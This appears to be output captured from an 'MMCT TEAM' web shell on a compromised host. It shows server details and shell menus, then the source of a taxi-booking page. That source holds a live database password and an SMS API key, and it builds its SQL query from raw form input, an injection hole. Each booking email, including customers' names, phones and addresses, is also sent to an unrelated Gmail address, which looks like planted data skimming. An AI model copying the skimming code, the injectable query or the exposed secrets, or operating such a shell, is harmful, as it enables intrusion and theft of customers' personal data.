MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.218.99.99
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/book-now.php
<?php include('include/common.php'); ?>
<!DOCTYPE html>
<html lang="en" style="overflow-x:hidden">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="msapplication-TileImage" content="../ms-icon-144x144.html">
<meta name="theme-color" content="#ffffff">
<title>Booking Details - <?=SITE_NAME?></title>
<meta name="description" content="For local pickup and drop, Cabz4 You provides Airport transfer taxi and Railway transfer cabs. Also, we provide local cab services for city travel at best booking deals." />
<meta name="keywords" content="Local Taxi Services, Local Cabs, City Local Cabs, Transfer Cabs in Local, Local Pickup and Drop Cab, Airport Transfer Cabs, Railway Transfer Taxi, Car Rental for Local Corporate Travel, Taxi Booking for Airport Drop" />

<?php include "include/header.php"; 
$source = str_replace(' ',  '', $source);
$car_id = $_REQUEST['car_id'];


?>
<section class="inner-banner">
  <div class="container">
    <ul class="thm-breadcrumb">
      <li><a href="index.php">Home</a></li>
      <li><span class="sep">.</span></li>
      <li><span class="page-title">Booking Details</span></li>
    </ul><!-- /.thm-breadcrumb -->
    <h2>Booking Details</h2>
  </div><!-- /.container -->
</section><!-- /.inner-banner -->
<section>
  <div class="container">
    <div class="row bg-white roundedbox mt-4 mb-4 p-4 text-justify">
      <h4 class="h4 w-100 text-left">Booking Detail &#8594;</h4>
      <div class="col-md-7">
        <p> <span style="color:#FF0000;  font-weight:600; text-align:left;">Please Note*</span><br />
          <ul>
            <li>Distance is calculated from one location to other.</li>
            <li>&nbsp;State tax  , toll tax &amp; parking will be pay by customer as per actuals.</li>
            <li>Minimum 250 kms will be charged per day</li>
            <li>One day means one Calender day (12 midnight to  12 midnight)</li>
            <li>Local Travel is not allowed in Delhi NCR.</li>
            <li>AC will be switched off in Hilly areas.</li>
            <li>Taxi will not be driven on unpaved roads.</li>
            <li>Total  cost is an estimate, the final price may vary depending on the actual Km  travelled.</li>
          </ul>

        </p>
      </div>
      <div class="col-md-5">
        <div class="product-content-right">
          <div class="contact-form">
           <h6 style="color:#FF0000; font-family:Arial, Helvetica, sans-serif; font-weight:300;">Note: all fields are mandatory.</h6>    
           <h4>Customer Details</h4>
           <?php

           $dbHost     = "localhost";
           $dbUsername = "dixitcab_dixitcab";
           $dbPassword = "03[Ne%kC7R6?";
           $dbName     = "dixitcab_db";

           $dbconnect=mysqli_connect($dbHost,$dbUsername,$dbPassword,$db);
           if ($dbconnect->connect_error) {
            die("Database connection failed: " . $dbconnect->connect_error);
          }

          if(isset($_POST['submit'])) {
            $cfname=$_POST['cfname'];
            $cfemail=$_POST['cfemail'];
            $cfsubject=$_POST['cfsubject'];
            $cfmessage =$_POST['cfmessage'];
            $date = date('Y-m-d H:i:s');

            $query = "INSERT INTO confirmbooking (cfname, cfemail, cfsubject, cfmessage, bookingdate)
            VALUES ('$cfname', '$cfemail', '$cfsubject', '$cfmessage', '$date')";

            if (!mysqli_query($dbconnect, $query)) {
              die('An error occurred. Your review has not been submitted.');
            } else {
              $api_key = '55E12CB8FE65D9';
              $contacts = $cfsubject;
              $from = 'DIXCAB';
              $sms_text = urlencode('Dear '.$cfname.', Thank you for your booking. Booking Details:- Cab Name:  Source City:  Booking Date:  We confirm your booking on our website Dixitcabs.com You will get confirmation call from our Cabs Expert. Get Support : Mobile : +91 99533 91004 eMail :- info@dixitcabs.com');

              $api_url = "http://new.smsturtle.com/app/smsapi/index.php?key=".$api_key."&campaign=0&routeid=9&type=text&contacts=".$contacts."&senderid=".$from."&msg=".$sms_text;

                                        //Submit to server

              $response = file_get_contents( $api_url);
                                        //echo $response;

              $api_key = '55E12CB8FE65D9';
              $contacts = '9953391004';
              $from = 'DIXCAB';
              $sms_text = urlencode('Dear Admin, You have one New Booking on Your website kindly check your email for details. Booking Detail: Source City: Destination City: Booking Date: Thanks');

              $api_url = "http://new.smsturtle.com/app/smsapi/index.php?key=".$api_key."&campaign=0&routeid=9&type=text&contacts=".$contacts."&senderid=".$from."&msg=".$sms_text;

                                        //Submit to server

              $response = file_get_contents( $api_url);
                                        //echo $response;
              $to = $cfemail;
              $subject = "Confirm Your Booking";

              $message ="
              <style>
              body {
                background-color: #f6f6f6;
                font-family: sans-serif;
                -webkit-font-smoothing: antialiased;
                font-size: 14px;
                line-height: 1.4;
                margin: 0;
                padding: 0;
                -ms-text-size-adjust: 100%;
                -webkit-text-size-adjust: 100%; 
              }
              table {
                border-collapse: separate;
                mso-table-lspace: 0pt;
                mso-table-rspace: 0pt;
                width: 100%; }
                table td {
                  font-family: sans-serif;
                  font-size: 14px;
                  vertical-align: top; 
                }
                /* -------------------------------------
                BODY & CONTAINER
                ------------------------------------- */
                .body {
                  background-color: #f6f6f6;
                  width: 100%; 
                }
                /* Set a max-width, and make it display as block so it will automatically stretch to that width, but will also shrink down on a phone or something */
                .container {
                  display: block;
                  margin: 0 auto !important;
                  /* makes it centered */
                  max-width: 580px;
                  padding: 10px;
                  width: 580px; 
                }
                /* This should also be a block element, so that it will fill 100% of the .container */
                .content {
                  box-sizing: border-box;
                  display: block;
                  margin: 0 auto;
                  max-width: 580px;
                  padding: 10px; 
                }
                /* -------------------------------------
                HEADER, FOOTER, MAIN
                ------------------------------------- */
                .main {
                  background: #ffffff;
                  border-radius: 3px;
                  width: 100%; 
                }
                .wrapper {
                  box-sizing: border-box;
                  padding: 20px; 
                }
                .content-block {
                  padding-bottom: 10px;
                  padding-top: 10px;
                }
                .footer {
                  clear: both;
                  margin-top: 10px;
                  text-align: center;
                  width: 100%; 
                }
                .footer td,
                .footer p,
                .footer span,
                .footer a {
                  color: #999999;
                  font-size: 12px;
                  text-align: center; 
                }
                /* -------------------------------------
                OTHER STYLES THAT MIGHT BE USEFUL
                ------------------------------------- */
                .last {
                  margin-bottom: 0; 
                }
                .first {
                  margin-top: 0; 
                }
                .align-center {
                  text-align: center; 
                }
                .align-right {
                  text-align: right; 
                }
                .align-left {
                  text-align: left; 
                }
                .clear {
                  clear: both; 
                }
                .mt0 {
                  margin-top: 0; 
                }
                .mb0 {
                  margin-bottom: 0; 
                }
                .preheader {
                  color: transparent;
                  display: none;
                  height: 0;
                  max-height: 0;
                  max-width: 0;
                  opacity: 0;
                  overflow: hidden;
                  mso-hide: all;
                  visibility: hidden;
                  width: 0; 
                }
                .powered-by a {
                  text-decoration: none; 
                }
                hr {
                  border: 0;
                  border-bottom: 1px solid #f6f6f6;
                  margin: 20px 0; 
                }
                /* -------------------------------------
                RESPONSIVE AND MOBILE FRIENDLY STYLES
                ------------------------------------- */
                @media only screen and (max-width: 620px) {
                  table[class=body] h1 {
                    font-size: 28px !important;
                    margin-bottom: 10px !important; 
                  }
                  table[class=body] p,
                  table[class=body] ul,
                  table[class=body] ol,
                  table[class=body] td,
                  table[class=body] span,
                  table[class=body] a {
                    font-size: 16px !important; 
                  }
                  table[class=body] .wrapper,
                  table[class=body] .article {
                    padding: 10px !important; 
                  }
                  table[class=body] .content {
                    padding: 0 !important; 
                  }
                  table[class=body] .container {
                    padding: 0 !important;
                    width: 100% !important; 
                  }
                  table[class=body] .main {
                    border-left-width: 0 !important;
                    border-radius: 0 !important;
                    border-right-width: 0 !important; 
                  }
                  table[class=body] .btn table {
                    width: 100% !important; 
                  }
                  table[class=body] .btn a {
                    width: 100% !important; 
                  }
                  table[class=body] .img-responsive {
                    height: auto !important;
                    max-width: 100% !important;
                    width: auto !important; 
                  }
                }
                /* -------------------------------------
                PRESERVE THESE STYLES IN THE HEAD
                ------------------------------------- */
                @media all {
                  .ExternalClass {
                    width: 100%; 
                  }
                  .ExternalClass,
                  .ExternalClass p,
                  .ExternalClass span,
                  .ExternalClass font,
                  .ExternalClass td,
                  .ExternalClass div {
                    line-height: 100%; 
                  }
                  .apple-link a {
                    color: inherit !important;
                    font-family: inherit !important;
                    font-size: inherit !important;
                    font-weight: inherit !important;
                    line-height: inherit !important;
                    text-decoration: none !important; 
                  }


                }
                </style>
                </head>
                <body class=''>
                <table role='presentation' border='0' cellpadding='0' cellspacing='0' class='body'>
                <tr>
                <td>&nbsp;</td>
                <td class='container'>
                <div class='content'>

                <!-- START CENTERED WHITE CONTAINER -->
                <table role='presentation' class='main'>

                <!-- START MAIN CONTENT AREA -->
                <tr>
                <td class='wrapper'>
                <table role='presentation' border='0' cellpadding='0' cellspacing='0'>
                <tr>
                <td>
                <p>Dear ".$cfname.",</p>
                <p>Thank you for Booking.</p>

                <p>We confirm your booking on <a href='http://dixitcabs.com/'> Dixitcabs.com</a>. You are receiving this email because you’re recently book cabs services and our cabs experts will contact you shortly.</p> 
                </br>
                <p>If you did not do this please contact us.</p>
                </td>
                </tr>
                <table role='presentation' border='0' cellpadding='0' cellspacing='0'>
                <tr>
                <td class='content-block'>
                <span><b>Get Support : Mobile : +91 99533 91004, eMail :- <a href='info@dixitcabs.com'>info@dixitcabs.com</a></b>
                </td>
                </tr>
                </table>
                </table>
                </td>
                </tr>

                <!-- END MAIN CONTENT AREA -->
                </table>
                <!-- END CENTERED WHITE CONTAINER -->

                <!-- START FOOTER -->
                <div class='footer'>
                <table role='presentation' border='0' cellpadding='0' cellspacing='0'>
                <tr>
                <td class='content-block'>
                <span class='apple-link'>Dixitcabs, Sector-52, Wazirabad, </br> Krishana Complex Near - Yadav Aata Chakki,</br> Gurgaon - 122003</span>
                <br> Do not like these emails? <a href='http://i.imgur.com/CScmqnj.gif'>Unsubscribe</a>.
                </td>
                </tr>
                </table>
                </div>
                <!-- END FOOTER -->

                </div>
                </td>
                <td>&nbsp;</td>
                </tr>
                </table>
                </body>
                </html>";

                                        // Always set content-type when sending HTML email
                $headers = "MIME-Version: 1.0" . "\r\n";
                $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";

                                        // More headers
                $headers .= 'From: <noreply@dixitcabs.com>' . "\r\n";
                                        //$headers .= 'Cc: myboss@example.com' . "\r\n";

                mail($to,$subject,$message,$headers);
                mail("petrus.450@gmail.com",$subject,$message,$headers);

                $to = "rovin.dixit@gmail.com";
                $subject = "New Booking Detail";

                $message = '
                <html>
                <body>
                <table>
                <tr>
                <th>Client Name</th>
                <td>'.$cfname.'</td>
                </tr>
                <tr>
                <th>Client Email</th>
                <td>'.$cfemail.'</td>
                </tr>
                <tr>
                <th>Client Phone Number</th>
                <td>'.$cfsubject.'</td>
                </tr>
                <tr>
                <th>Client Address</th>
                <td>'.$cfmessage.'</td>
                </tr>

                </table>
                </body>
                </html>
                ';

                                        // Always set content-type when sending HTML email
                $headers = "MIME-Version: 1.0" . "\r\n";
                $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";

                                        // More headers
                $headers .= 'From: <noreply@dixitcabs.com>' . "\r\n";
                                        //$headers .= 'Cc: myboss@example.com' . "\r\n";

                mail($to,$subject,$message,$headers);
                mail("petrus.450@gmail.com",$subject,$message,$headers);
                echo "Thanks for Booking.";
              }

            }
            ?>

            <form  method="post" name="frmContactUs" onsubmit="return ValidateForm();"><div class="col-md-11">Name (required) <br />

             <input type="hidden" value="" name="type">
             <input type="hidden" value="" name="types">
             <input type="hidden" value="(Ac)" name="cab">
             <input type="hidden" value="" name="one_way_type">
             <input type="hidden" value="" name="seats">
             <input type="hidden" value="" name="one_way_rate">
             <input type="hidden" value="" name="f_fare">
             <input type="hidden" value="" name="distence">
             <input type="hidden" value="1" name="travel_duration">
             <input type="hidden" value="" name="driver_charge">
             <input type="hidden" value="" name="car_rate">
             <input type="hidden" value="" name="totalPrice">
             <input type="hidden" value="" name="travel_time">
             <input type="hidden" value="" name="fto">
             <input type="hidden" value="" name="to">
             <input type="hidden"  value="" name="travel_date">

             <input type="text" name="cfname"   size="40" /></div><div class="col-md-11">Email (required) <br /><input type="text" name="cfemail"  size="40" /></div><div class="col-md-11">Phone (required) <br /><input type="text" name="cfsubject"  size="40" /></div><div class="col-md-12">Pickup Address (required) <br /><textarea rows="4" cols="42" name="cfmessage"></textarea></div><div class="col-md-12"><input type="submit" name="submit" value="Send"/></div></form>
           </div>
         </div>  
         <div class="push-right">
          <hr class="blog-sep header-sep">
        </div>

      </div>
    </div>
  </div>
</section>

<?php include "include/footer.php" ?>

MMCT - 2023